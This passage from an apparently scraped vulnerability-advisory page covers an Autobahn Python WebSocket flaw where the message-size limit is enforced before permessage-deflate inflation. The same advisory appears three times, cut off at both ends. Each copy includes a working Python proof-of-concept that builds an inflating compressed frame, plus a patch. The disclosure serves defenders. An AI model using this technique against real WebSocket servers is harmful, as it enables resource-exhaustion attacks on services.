+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jan 14, 2020

19.11.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Nov 11, 2019

19.10.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Sep 30, 2019

19.9.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
